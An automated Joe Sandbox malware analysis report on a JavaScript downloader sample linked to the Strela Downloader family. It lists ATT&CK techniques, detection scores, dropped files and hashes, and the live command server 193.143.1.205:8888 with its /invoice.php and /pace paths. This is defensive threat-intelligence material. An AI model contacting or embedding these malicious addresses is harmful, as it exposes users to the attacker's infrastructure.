Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
187837506181165315.js	3%	Virustotal		Browse
187837506181165315.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.2058888/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2261646949.000001A36A910000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3471644672.000001A36AA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.2058888/	net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2248297429.000001BAA6C5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2248297429.000001BAA6C8A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588169
Start date and time:	2025-01-10 22:12:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	187837506181165315.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 4.175.87.197, 50.16.47.176, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:12:59	API Interceptor	23x Sleep call for process: powershell.exe modified
16:13:03	API Interceptor	1x Sleep call for process: net.exe modified
16:13:04	API Interceptor	2x Sleep call for process: svchost.exe modified
16:13:12	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726330249175582
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0g:9JZj5MiKNnNhoxuN
MD5:	4BA9CDDFD0B34CA76FA1C55661600498
SHA1:	F2D3D8F749ACB34E5AD7DB569D33523EBD42ECAE
SHA-256:	6815D36151EE373EEA1DFFB96EF6DAF27838113A0FA65F55B6819F9E3E628973
SHA-512:	3ECF3081F42584FBCF0C973B8581B53A54BCCA50DCDD529E3B12C38C455278B4A2D5C2BDCE702F2567EC7695DD45AA4A3314C6054A5CDADC4AE057B2FD06D0A3
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x557ab9a3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555576526685409
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	33FFAE00D2ECD84D930FF6159B8EE3CF
SHA1:	8AE903A3B73D6BA134228A8A789A28AB31ABF84B
SHA-256:	12D0DEBF5D481EBD7895983157552DB4E1DC2D66B53D1D1C85977D568A4FFC26
SHA-512:	344D315C27977F2E7BB30A7C9DA731FED01C40A2A8802C88E6989854469319FB457DCCF355C9A70DAE235552CCF57CEE114113CACE56BFD1866F02CAD860661C
Malicious:	false
Preview:	Uz..... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................Qh.x.....}....................'e.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0797589591132136
Encrypted:	false
SSDEEP:	3:0/tKYeWmx3KANaAPaU1lJgl/illuxmO+l/SNxOf:01KzB3TNDPaUBgl/GgmOH
MD5:	C6392822D5051D533AC794D8FAD1941F
SHA1:	2FF4999FF640F9D9742F919BCF74952FB130EA03
SHA-256:	24B1080DF4DFC466BC072619630D0E959D7EAF583760A9E65AE48EDEB2DBE3B7
SHA-512:	10FA97BB4E6ED04833FD1C97176EF7525833619EC75BD5002B8763DB1795E5B0992D9DBDF8A16DFC56CFB61D72147A8B2926F8849C053868D2A14CCE74FE0D39
Malicious:	false
Preview:	x1XC.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?...................'e.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.132080265432989
Encrypted:	false
SSDEEP:	6:iO4xD+q2PN72nKuAl9OmbnIFUtSxIWZmwsxISVkwON72nKuAl9OmbjLJ:7yD+vVaHAahFUt4IW/WISV5OaHAaSJ
MD5:	9CA4524C9A274FD8710161FA63388070
SHA1:	0805434711E9762048D0296815D8F8B9A00194F4
SHA-256:	6B330BE5F30744707E64C58064F6F945397460CD9A0D4EEBCCBC1A41E24BDC37
SHA-512:	7884200A87C31588DB672A5060A01CC5E20E0240FD4609F7429343A2CA7F0D0D4CBF790CBA6848FEB374F8B0B2CDCE6A2B2D9AA77910EAC7D0483CA31D8C80D0
Malicious:	false
Preview:	2025/01/10-16:13:04.440 1b2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:13:04.442 1b2c Recovering log #3.2025/01/10-16:13:04.442 1b2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.132080265432989
Encrypted:	false
SSDEEP:	6:iO4xD+q2PN72nKuAl9OmbnIFUtSxIWZmwsxISVkwON72nKuAl9OmbjLJ:7yD+vVaHAahFUt4IW/WISV5OaHAaSJ
MD5:	9CA4524C9A274FD8710161FA63388070
SHA1:	0805434711E9762048D0296815D8F8B9A00194F4
SHA-256:	6B330BE5F30744707E64C58064F6F945397460CD9A0D4EEBCCBC1A41E24BDC37
SHA-512:	7884200A87C31588DB672A5060A01CC5E20E0240FD4609F7429343A2CA7F0D0D4CBF790CBA6848FEB374F8B0B2CDCE6A2B2D9AA77910EAC7D0483CA31D8C80D0
Malicious:	false
Preview:	2025/01/10-16:13:04.440 1b2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:13:04.442 1b2c Recovering log #3.2025/01/10-16:13:04.442 1b2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.116998638124335
Encrypted:	false
SSDEEP:	6:iO4xuNq2PN72nKuAl9Ombzo2jMGIFUtSxOJZmwsxPFkwON72nKuAl9Ombzo2jMmd:7y8vVaHAa8uFUt4I/Wd5OaHAa8RJ
MD5:	4501B8ABA30CCB6FCFDFCD7E8934C151
SHA1:	C9890AC43CEBA31F98EBF488F7AAEFADAE9CB08E
SHA-256:	DA2ABD95A8200E2D70B8860F6A35AE0F92D8099AA209EDB107FBADB124D3E6EF
SHA-512:	8B4376ABAFB6DE16442DD9AF6325786E838123DB4DDBD076B5095D80B96EBAC5B98B7D7F5F5E1062065D483FB1662ED58DBA1A977AABD2E1D4ED5AFC715DA14C
Malicious:	false
Preview:	2025/01/10-16:13:04.535 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:13:04.541 ba0 Recovering log #3.2025/01/10-16:13:04.542 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.116998638124335
Encrypted:	false
SSDEEP:	6:iO4xuNq2PN72nKuAl9Ombzo2jMGIFUtSxOJZmwsxPFkwON72nKuAl9Ombzo2jMmd:7y8vVaHAa8uFUt4I/Wd5OaHAa8RJ
MD5:	4501B8ABA30CCB6FCFDFCD7E8934C151
SHA1:	C9890AC43CEBA31F98EBF488F7AAEFADAE9CB08E
SHA-256:	DA2ABD95A8200E2D70B8860F6A35AE0F92D8099AA209EDB107FBADB124D3E6EF
SHA-512:	8B4376ABAFB6DE16442DD9AF6325786E838123DB4DDBD076B5095D80B96EBAC5B98B7D7F5F5E1062065D483FB1662ED58DBA1A977AABD2E1D4ED5AFC715DA14C
Malicious:	false
Preview:	2025/01/10-16:13:04.535 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:13:04.541 ba0 Recovering log #3.2025/01/10-16:13:04.542 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.975316331738347
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzsBdOg2Hbcaq3QYiubcP7E4T3y:Y2sRdsddMHi3QYhbA7nby
MD5:	92EC3617636C61A7F97DBDAADED6D146
SHA1:	0005FE0F943F2FA55DE4DEC57A9D02052058D747
SHA-256:	A1BF2E022EBA6E2B0DD1B0AEE57AE29484935096BC51F0156A3786DBA525B07B
SHA-512:	69342FCAE479971AAF3C8269F30517857539B5B4ECFC168942BF93F736DB25F7AB4957D6FE734818E25451E948F54AABC5E9D3882924DE75E8926DE3ECB95F17
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103596067099","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":117589},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f6a13a18-ec1e-4ea9-bac4-10b7c439eec6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.975316331738347
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzsBdOg2Hbcaq3QYiubcP7E4T3y:Y2sRdsddMHi3QYhbA7nby
MD5:	92EC3617636C61A7F97DBDAADED6D146
SHA1:	0005FE0F943F2FA55DE4DEC57A9D02052058D747
SHA-256:	A1BF2E022EBA6E2B0DD1B0AEE57AE29484935096BC51F0156A3786DBA525B07B
SHA-512:	69342FCAE479971AAF3C8269F30517857539B5B4ECFC168942BF93F736DB25F7AB4957D6FE734818E25451E948F54AABC5E9D3882924DE75E8926DE3ECB95F17
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103596067099","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":117589},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2472503837358895
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7WTLp:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	5C4F1D9D0DFA5B243110619A24EF6571
SHA1:	01A0793D730AA7437DDBD0C0FA60600911499809
SHA-256:	67636615DDCDAF5B4634008989C530ABF7DCB3F62F980F1DE40A99260EA9E621
SHA-512:	E5D4EF168783B93A55410542A5236497251132F511D00E27A3EA536370ABE97FCAE0C90A915399EF5C1493D55B1C21D20C7AB8331C71C143A1A288173D4662DD
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.122063777176587
Encrypted:	false
SSDEEP:	6:iO4xI0Iq2PN72nKuAl9OmbzNMxIFUtSxashZmwsxa2U3DkwON72nKuAl9OmbzNMT:7yXIvVaHAa8jFUt4v/W25OaHAa84J
MD5:	A3C405EA0E3311E1CA4155B9C69B0754
SHA1:	E14766177A6B95153667B828ED10A688B25B4F99
SHA-256:	B2F19DF3BA9F9C8DB73DDE5F3E1ECD029841292680B8582192617C7E95AE34D9
SHA-512:	1D05FA2D2623729C04D33CCE4B59B911ED856FFC2CF2E50CECC7BE1D15DA059BDB206598275DD801C097A0910238EE067501F5DB1B644C40FDDCA81D414C8455
Malicious:	false
Preview:	2025/01/10-16:13:04.629 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:13:04.630 ba0 Recovering log #3.2025/01/10-16:13:04.631 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.122063777176587
Encrypted:	false
SSDEEP:	6:iO4xI0Iq2PN72nKuAl9OmbzNMxIFUtSxashZmwsxa2U3DkwON72nKuAl9OmbzNMT:7yXIvVaHAa8jFUt4v/W25OaHAa84J
MD5:	A3C405EA0E3311E1CA4155B9C69B0754
SHA1:	E14766177A6B95153667B828ED10A688B25B4F99
SHA-256:	B2F19DF3BA9F9C8DB73DDE5F3E1ECD029841292680B8582192617C7E95AE34D9
SHA-512:	1D05FA2D2623729C04D33CCE4B59B911ED856FFC2CF2E50CECC7BE1D15DA059BDB206598275DD801C097A0910238EE067501F5DB1B644C40FDDCA81D414C8455
Malicious:	false
Preview:	2025/01/10-16:13:04.629 ba0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:13:04.630 ba0 Recovering log #3.2025/01/10-16:13:04.631 ba0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4446892502311535
Encrypted:	false
SSDEEP:	384:ye6ci5txiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mCs3OazzU89UTTgUL
MD5:	AAE17D891B4E62511475FE0984DC2837
SHA1:	00F615E7937D1607C58DEECEE6A5B1E6EA64D38F
SHA-256:	B74553B0C3EC47E4D98A9BF3DEE68686EB286A32EFF009D4E7ED4AF6CC280D63
SHA-512:	51BB5F014E256E54550AF7662E610AF15C181F6A1515F3797A0914B1D279BAFF317F12DF98C4F4DBFBF503DF870653A7D217FC9C5ADAAFA8845491BFE250CFE7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7679368672114046
Encrypted:	false
SSDEEP:	48:7MBJioyVwioyyoy1C7oy16oy1SKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OL:7uJuw+NXjBi8b9IVXEBodRBk9
MD5:	0E9525AF9AEE324A34323E162089AF75
SHA1:	845C8C6370956204AB85A5602AD1D76D771DC8ED
SHA-256:	7A03ADBC63F05DEBB2AE09FD2928A11F3DAF50ED5850B4FED3CED3CBE7C7A888
SHA-512:	FBA8D17D183A2DB886E83D17C260CF2DDEB221EAD061B74FE1A7EEE54A6A1F9E68D65F69A11C0A480BEE0099ED3A19F80C6D43D9079D1B2C58D707A36E2B52E5
Malicious:	false
Preview:	.... .c......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
